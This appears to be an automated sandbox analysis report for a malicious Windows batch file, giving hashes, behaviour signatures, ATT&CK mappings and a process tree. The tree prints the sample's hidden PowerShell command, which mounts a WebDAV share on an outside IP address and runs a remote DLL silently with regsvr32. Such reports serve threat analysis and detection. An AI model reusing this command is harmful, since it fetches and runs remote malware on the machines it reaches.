6dcbf5f9734faf22fdabd53e8346c7bd16c688ff1193c16c6de353a8bea56f4a

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
23/07/2024, 20:36

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General

Target

140613633074418795.bat
Size

6KB
MD5

8d380b6450331e3764d24d67e47bd7c3
SHA1

a36c714d2eb776e69907b9ce16abddffb48f7e29
SHA256

6dcbf5f9734faf22fdabd53e8346c7bd16c688ff1193c16c6de353a8bea56f4a
SHA512

a031df9f79bb652ea6e5be1eed6e9e56a8ba149194d86d04d784f4abe1d4693f42609fa3a0fa2f0113c50fb4ac48302f1e9887ba218f655949eac49b427ec4f3
SSDEEP

192:yxn8/hAkLNpmbfdyR+++JR+++R+uVF/2wf:yxnRkhpmDdyR+++JR+++R+uVh2wf

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2564	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2564	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2564	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2780	wordpad.exe
2780	wordpad.exe
2780	wordpad.exe
2780	wordpad.exe
2780	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 3044 wrote to memory of 2780	3044	cmd.exe	31
PID 3044 wrote to memory of 2780	3044	cmd.exe	31
PID 3044 wrote to memory of 2780	3044	cmd.exe	31
PID 3044 wrote to memory of 2564	3044	cmd.exe	32
PID 3044 wrote to memory of 2564	3044	cmd.exe	32
PID 3044 wrote to memory of 2564	3044	cmd.exe	32
PID 2564 wrote to memory of 2552	2564	powershell.exe	34
PID 2564 wrote to memory of 2552	2564	powershell.exe	34
PID 2564 wrote to memory of 2552	2564	powershell.exe	34
PID 2564 wrote to memory of 2608	2564	powershell.exe	35
PID 2564 wrote to memory of 2608	2564	powershell.exe	35
PID 2564 wrote to memory of 2608	2564	powershell.exe	35
PID 2564 wrote to memory of 2608	2564	powershell.exe	35
PID 2564 wrote to memory of 2608	2564	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\140613633074418795.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3044
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2780
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\2889238204240.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2564
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2552
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\2889238204240.dll
    3⤵
    PID:2608

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2564-25-0x0000000002810000-0x0000000002818000-memory.dmp

Filesize
32KB

Download
memory/2564-24-0x000000001B660000-0x000000001B942000-memory.dmp

Filesize
2.9MB

Download